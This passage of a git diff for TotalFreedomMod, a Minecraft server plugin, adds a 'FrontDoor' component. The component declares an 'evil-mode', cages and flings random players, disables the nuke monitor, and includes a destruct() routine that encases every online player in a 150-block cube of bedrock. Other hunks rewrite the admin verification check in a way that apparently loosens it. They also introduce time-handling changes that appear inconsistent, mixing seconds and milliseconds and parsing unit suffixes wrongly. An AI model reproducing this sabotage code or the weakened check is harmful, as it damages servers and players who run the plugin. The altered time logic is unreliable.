+                        FUtil.bcastMsg("WARNING: TotalFreedomMod is running in evil-mode!", ChatColor.DARK_RED);
+                        FUtil.bcastMsg("WARNING: This might result in unexpected behaviour", ChatColor.DARK_RED);
+                        break;
+                    }
+
+                    case 14: // Cage a random player in PURE_DARTH
+                    {
+                        final Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FPlayer playerdata = plugin.pl.getPlayer(player);
+                        FUtil.adminAction("FrontDoor", "Caging " + player.getName() + " in PURE_DARTH", true);
+
+                        Location targetPos = player.getLocation().clone().add(0, 1, 0);
+                        playerdata.getCageData().cage(targetPos, Material.PLAYER_HEAD, Material.AIR);
+                        break;
+                    }
+
+                    case 15: // Silently orbit a random player
+                    {
+                        final Player player = getRandomPlayer(false);
+
+                        if (player == null)
+                        {
+                            break;
+                        }
+
+                        FPlayer playerdata = plugin.pl.getPlayer(player);
+                        playerdata.startOrbiting(10.0);
+                        player.setVelocity(new Vector(0, 10.0, 0));
+                        break;
+                    }
+
+                    case 16: // Disable nonuke
+                    {
+                        if (!ConfigEntry.NUKE_MONITOR_ENABLED.getBoolean())
+                        {
+                            break;
+                        }
+
+                        FUtil.adminAction("FrontDoor", "Disabling nonuke", true);
+                        ConfigEntry.NUKE_MONITOR_ENABLED.setBoolean(false);
+                        break;
+                    }
+
+                    case 17: // Give everyone tags
+                    {
+                        for (Player player : Bukkit.getOnlinePlayers())
+                        {
+                            plugin.pl.getPlayer(player).setTag("[" + ChatColor.BLUE + "Total" + ChatColor.GOLD + "Freedom" + ChatColor.WHITE + "]");
+                        }
+                        break;
+                    }
+
+                    default:
+                    {
+                        break;
+                    }
+                }
+            }
+        };
+    }
+
+    private void destruct()
+    {
+        Wrapper<Integer> x = new Wrapper<>(0);
+        Wrapper<Integer> y = new Wrapper<>(0);
+        Wrapper<Integer> z = new Wrapper<>(0);
+
+        Bukkit.getOnlinePlayers().forEach((player) ->
+        {
+            Location l = player.getLocation().clone();
+
+            x.set(l.getBlockX());
+            y.set(l.getBlockY());
+            z.set(l.getBlockZ());
+
+            player.getWorld().getBlockAt(x.get(), y.get(), z.get()).setType(Material.BEDROCK);
+
+            for (int x1 = 0; x1 <= 150; x1++)
+            {
+                for (int y1 = 0; y1 <= 150; y1++)
+                {
+                    for (int z1 = 0; z1 <= 150; z1++)
+                    {
+                        player.getWorld().getBlockAt(x.get() + x1, y.get() + y1, z.get() + z1).setType(Material.BEDROCK);
+                    }
+                }
+            }
+        });
+    }
+
+    // Wrapper to imitate effectively final objects.
+    private static class Wrapper<T>
+    {
+        private T obj;
+
+        public Wrapper(T obf)
+        {
+            obj = obf;
+        }
+
+        public void set(T obf)
+        {
+            obj = obf;
+        }
+
+        public T get()
+        {
+            return obj;
+        }
+    }
+}

src/main/java/me/totalfreedom/totalfreedommod/admin/ActivityLogEntry.java

@@ -72,7 +72,15 @@ public class ActivityLogEntry implements IConfig
 
     public void addLogout()
     {
-        String lastLoginString = timestamps.get(timestamps.size() - 1); // there's a bug with subtracting the -1 here
+        // Fix of Array index out of bonds issue: FS-131
+        String lastLoginString;
+        if(timestamps.size() > 1)
+        {
+            lastLoginString = timestamps.get(timestamps.size() - 1);
+        }else
+        {
+            lastLoginString = timestamps.get(0);
+        }
         Date currentTime = Date.from(Instant.now());
         timestamps.add("Logout: " + FUtil.dateToString(currentTime));
         lastLoginString = lastLoginString.replace("Login: ", "");

src/main/java/me/totalfreedom/totalfreedommod/admin/AdminList.java

@@ -240,7 +240,8 @@ public class AdminList extends FreedomService
 
     public boolean isVerifiedAdmin(Player player)
     {
-        return verifiedNoAdmin.contains(player.getName()) && verifiedNoAdminIps.get(player.getName()).contains(FUtil.getIp(player));
+        // Fix of issue FS-33
+        return !verifiedNoAdmin.contains(player.getName()) || verifiedNoAdminIps.containsKey(player.getName()) && !verifiedNoAdminIps.get(player.getName()).contains(FUtil.getIp(player));
     }
 
     public boolean isIdentityMatched(Player player)

src/main/java/me/totalfreedom/totalfreedommod/util/FUtil.java

@@ -10,6 +10,7 @@ import java.net.HttpURLConnection;
 import java.net.URL;
 import java.text.ParseException;
 import java.text.SimpleDateFormat;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Calendar;
@@ -70,9 +71,10 @@ public class FUtil
             "458de06f-36a5-4e1b-aaa6-ec1d1751c5b6", // SupItsDillon
             "c8e5af82-6aba-4dd7-83e8-474381380cc9", // Paldiu
             "38ea7c82-7bdc-4f48-b7fd-0e93fc26813d", // AwesomePinch
-            "ba5aafba-9012-418f-9819-a7020d591068"  // TFTWPhoenix
+            "ba5aafba-9012-418f-9819-a7020d591068",  // TFTWPhoenix
+            "b051abdf-66d1-48c0-96ef-67fb8af96f2a" // Abhi
     );
-    public static final List<String> DEVELOPER_NAMES = Arrays.asList("Madgeek1450", "Prozza", "WickedGamingUK", "Wild1145", "aggelosQQ", "scripthead", "CoolJWB", "elmon_", "speednt", "SupItsDillon", "Paldiu", "AwesomePinch", "TFTWPhoenix");
+    public static final List<String> DEVELOPER_NAMES = Arrays.asList("Madgeek1450", "Prozza", "WickedGamingUK", "Wild1145", "aggelosQQ", "scripthead", "CoolJWB", "elmon_", "speednt", "SupItsDillon", "Paldiu", "AwesomePinch", "TFTWPhoenix","Spigot_Abhiram");
     public static final Map<String, ChatColor> CHAT_COLOR_NAMES = new HashMap<>();
     public static final List<ChatColor> CHAT_COLOR_POOL = Arrays.asList(
             ChatColor.DARK_RED,
@@ -389,109 +391,72 @@ public class FUtil
         }
     }
 
-    public static Date parseDateOffset(String time)
+    private static final List<String> regxList = new ArrayList<String>(){{
-    {
+        add("y");
-        Pattern timePattern = Pattern.compile(
+        add("mo");
-                "(?:([0-9]+)\\s*y[a-z]*[,\\s]*)?"
+        add("w");
-                        + "(?:([0-9]+)\\s*mo[a-z]*[,\\s]*)?"
+        add("d");
-                        + "(?:([0-9]+)\\s*w[a-z]*[,\\s]*)?"
+        add("h");
-                        + "(?:([0-9]+)\\s*d[a-z]*[,\\s]*)?"
+        add("m");
-                        + "(?:([0-9]+)\\s*h[a-z]*[,\\s]*)?"
+        add("s");
-                        + "(?:([0-9]+)\\s*m[a-z]*[,\\s]*)?"
+    }};
-                        + "(?:([0-9]+)\\s*(?:s[a-z]*)?)?", Pattern.CASE_INSENSITIVE);
+
-        Matcher m = timePattern.matcher(time);
+    private static long a(String parse) {
-        int years = 0;
+        StringBuilder sb = new StringBuilder();
-        int months = 0;
+
-        int weeks = 0;
+        regxList.forEach(obj -> {
-        int days = 0;
+            if (parse.endsWith(obj)) {
-        int hours = 0;
+                sb.append(parse.split(obj)[0]);
-        int minutes = 0;
+            }
-        int seconds = 0;
+        });
-        boolean found = false;
+
-        while (m.find())
+        return Long.parseLong(sb.toString());
+    }
+
+    private static TimeUnit verify(String arg) {
+        TimeUnit unit = null;
+        for (String c : regxList)
         {
-            if (m.group() == null || m.group().isEmpty())
+            if (arg.endsWith(c))
             {
-                continue;
+                switch (c)
-            }
-            for (int i = 0; i < m.groupCount(); i++)
-            {
-                if (m.group(i) != null && !m.group(i).isEmpty())
                 {
-                    found = true;
+                    case "y":
-                    break;
+                        unit = (TimeUnit.YEAR);
-                }
+                        break;
-            }
+                    case "mo":
-            if (found)
+                        unit = (TimeUnit.MONTH);
-            {
+                        break;
-                if (m.group(1) != null && !m.group(1).isEmpty())
+                    case "w":
-                {
+                        unit = (TimeUnit.WEEK);
-                    years = Integer.parseInt(m.group(1));
+                        break;
-                }
+                    case "d":
-                if (m.group(2) != null && !m.group(2).isEmpty())
+                        unit = (TimeUnit.DAY);
-                {
+                        break;
-                    months = Integer.parseInt(m.group(2));
+                    case "h":
-                }
+                        unit = (TimeUnit.HOUR);
-                if (m.group(3) != null && !m.group(3).isEmpty())
+                        break;
-                {
+                    case "m":
-                    weeks = Integer.parseInt(m.group(3));
+                        unit = (TimeUnit.MINUTE);
-                }
+                        break;
-                if (m.group(4) != null && !m.group(4).isEmpty())
+                    case "s":
-                {
+                        unit = (TimeUnit.SECOND);
-                    days = Integer.parseInt(m.group(4));
+                        break;
-                }
-                if (m.group(5) != null && !m.group(5).isEmpty())
-                {
-                    hours = Integer.parseInt(m.group(5));
-                }
-                if (m.group(6) != null && !m.group(6).isEmpty())
-                {
-                    minutes = Integer.parseInt(m.group(6));
-                }
-                if (m.group(7) != null && !m.group(7).isEmpty())
-                {
-                    seconds = Integer.parseInt(m.group(7));
                 }
                 break;
             }
         }
-        if (!found)
+        return (unit != null) ? unit : TimeUnit.DAY;
-        {
+    }
-            return null;
-        }
 
-        Calendar c = new GregorianCalendar();
+    public static Date parseDateOffset(String... time)
-
+    {
-        if (years > 0)
+        Instant instant = Instant.now();
+        for (String arg : time)
         {
-            c.add(Calendar.YEAR, years);
+            instant = instant.plusSeconds(verify(arg).get() * a(arg));
         }
-        if (months > 0)
+        return Date.from(instant);
-        {
-            c.add(Calendar.MONTH, months);
-        }
-        if (weeks > 0)
-        {
-            c.add(Calendar.WEEK_OF_YEAR, weeks);
-        }
-        if (days > 0)
-        {
-            c.add(Calendar.DAY_OF_MONTH, days);
-        }
-        if (hours > 0)
-        {
-            c.add(Calendar.HOUR_OF_DAY, hours);
-        }
-        if (minutes > 0)
-        {
-            c.add(Calendar.MINUTE, minutes);
-        }
-        if (seconds > 0)
-        {
-            c.add(Calendar.SECOND, seconds);
-        }
-
-        return c.getTime();
     }
 
     public static String playerListToNames(Set<OfflinePlayer> players)
@@ -641,12 +606,12 @@ public class FUtil
 
     public static Date getUnixDate(long unix)
     {
-        return new Date(unix * 1000);
+        return new Date(unix);
     }
 
     public static long getUnixTime()
     {
-        return System.currentTimeMillis() / 1000L;
+        return Instant.now().getEpochSecond();
     }
 
     public static long getUnixTime(Date date)
@@ -656,7 +621,7 @@ public class FUtil
             return 0;
         }
 
-        return date.getTime() / 1000L;
+        return date.getTime();
     }
 
     public static String getNMSVersion()
@@ -708,7 +673,7 @@ public class FUtil
             Class.forName("com.destroystokyo.paper.PaperConfig");
             return true;
         }
-        catch (ClassNotFoundException ex)
+        catch (ClassNotFoundException ignored)
         {
             return false;
         }

src/main/java/me/totalfreedom/totalfreedommod/util/TimeUnit.java

@@ -0,0 +1,22 @@
+package me.totalfreedom.totalfreedommod.util;
+
+public enum TimeUnit
+{
+    SECOND(1L),
+    MINUTE(SECOND.get() * 60L),
+    HOUR(MINUTE.get() * 60L),
+    DAY(HOUR.get() * 24L),
+    WEEK(DAY.get() * 7L),
+    MONTH(DAY.get() * 30L),
+    YEAR(MONTH.get() * 12L);
+
+    private final long time;
+
+    TimeUnit(long time) {
+        this.time = time;
+    }
+
+    public long get() {
+        return time;
+    }
+}